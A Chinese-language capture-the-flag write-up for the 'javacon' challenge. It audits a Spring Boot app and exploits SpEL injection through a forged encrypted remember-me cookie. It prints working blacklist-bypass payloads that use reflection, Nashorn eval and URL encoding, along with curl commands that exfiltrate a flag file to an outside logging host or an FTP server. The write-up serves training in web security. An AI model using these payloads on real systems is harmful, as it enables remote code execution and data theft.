[Code-Breaking Puzzles]javacon

[Code-Breaking Puzzles]javacon

题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

题目分析

登录框

image-20220608114743999

随意输入,会提示“登陆失败,用户名或者密码错误!”。

然后就进行代码审计,程序结构如图:

image-20220608123504504

首先我们可以从SpringBoot的配置 application.yml看起:

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

该文件分了3个模块:

  • spring模块定义了HTML模板、UTF-8编码以及无缓存;
  • keywords定义了黑名单,过滤了“java.lang”、“Runtime”、“exec.(”等;
  • user模块定义了用户名和密码,还有一个记住我的值。

使用这个密码就能够成功登陆,不过然并卵。

Spring作为MVC框架,那主要就是从Controller看路由功能定义:

MainController.class

有几个路由,我们从登录功能看起:

@GetMapping({"/login"})
public String login() {
    return "login";
}

@GetMapping({"/login-error"})
public String loginError(Model model) {
    model.addAttribute("loginError", true);
    model.addAttribute("errorMsg", "登陆失败,用户名或者密码错误!");
    return "login";
}

@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
    if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
        session.setAttribute("username", username);
        if (isRemember != null && !isRemember.equals("")) {
            Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
            c.setMaxAge(2592000);
            response.addCookie(c);
        }

        return "redirect:/";
    } else {
        return "redirect:/login-error";
    }
}

首先判断用户传进来的用户名和密码,是否和UserConfig中保存的用户名和密码一致,不一致就重定向到 /login-error 路由返回错误信息。一致就把用户名存进session中的username字段,然后判断传进来的remember-me字段是否为空,不为空则将用户名加密之后放到cookie中的remember-me字段,最后重定向到 / 路由。

接着看 / 路由:

@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
        String username = this.userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute("username", username);
        }
    }

    Object username = session.getAttribute("username");
    if (username != null && !username.toString().equals("")) {
        model.addAttribute("name", this.getAdvanceValue(username.toString()));
        return "hello";
    } else {
        return "redirect:/login";
    }
}

这里会先判断cookie中的remember-me字段是否为空,不为空就对该字段的值进行解密,将解密得到的值放到session中的username字段。然后从session中取出username字段,判断是否非空,是则往model中添加名字为name的值,而该值是通过this.getAdvanceValue(username.toString())方法获取的,跟过去看看:

private String getAdvanceValue(String val) {
    String[] var2 = this.keyworkProperties.getBlacklist();
    int var3 = var2.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

这里对传进来的内容使用正则匹配是否在配置文件定义的黑名单中,在就直接报错,不在则对该内容进行SpEL表达式解析。从这里可知,只要我们能够成功绕过黑名单检测,就可以实现SpEL表达式注入。

SpEL注入

首先我们要想控制控制SpEL表达式的值就得控制传进getAdvanceValue()方法的username属性,这个属性是在session中取到的,而session中的字段是在cookie中的remember-me字段值进行解密之后得到的。因此我们只要修改cookie中的remember-me字段值就能够控制输入的username属性,也就能控制SpEL表达式的值。

接着就是要绕过黑名单:

java中常见的命令执行方式为:

Runtime.getRuntime().exec("clac")

但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。

Windows场景

本地弹计算器

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

注意,以new String[]{"cmd","/C","xx"}这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}

但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

把加密类复制出来,自己手动构造remember-me的值:

package vul;

public class Main {
    public static void main(String[] args) {
        String paylaod = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
        System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", paylaod));
    }
}

这里加密的key和initVector都是在源码中写死的,将得到的加密后字符传到cookie中:

image-20220608153928699

确定后刷新网页,即可弹出计算器:

image-20220608153533138

回带flag

这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}

但是在Windows上这段代码不能将命令执行带回来,因为Windows中cmd不会解析反引号,只会将命令原封不动地返回过来:

image-20220608154309688

既然这样,就使用curl的-T参数往外上传文件,然后通过ftp接收即可:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl -T flag.txt ftp://127.0.0.1/"})}
image-20220608160622737

可以看到传过去之后本地接收到了文件。

Linux场景

一般题目环境为Linux,这里直接换如下命令即可,其中curl命令可直接结合反引号使用,中间加上base64命令将所有结果编码以便于可以带回所有内容而非只有第一行结果,最后tr命令将结果中的换行符换为-以便于后面解码的使用:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`"})}

JavaScript引擎Bypass

在Java 1.8之后,Nashorn取代了Rhino(Java 1.6/1.7)成为Java的嵌入式JavaScript引擎。

也就是说,可以通过Java调用该JS引擎,然后通过JS引擎调用eval()来执行Java代码。

基本payload

基本Payload示例如下:

#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)}

要想在本题执行命令,需要结合前面构造的反射机制来实现:

#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)}
image-20220608161156020

URL编码

前面的payload有点麻烦,感觉多此一举,这里我们可以升级一下payload,进行URL编码,可以绕过一些过滤机制,并无需结合反射机制:

#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")))}

其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream(),不加最后的getInputStream()也行,只是为了后面回显铺垫。

添加回显

增加回显的payload如下,其中URL编码内容为java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()

#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}

最后这里的URL编码绕过我没有复现成功。。。

参考资料

Code-Breaking Puzzles — javacon WriteUp

Java代码审计之SpEL表达式注入

SpEL注入之javacon

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇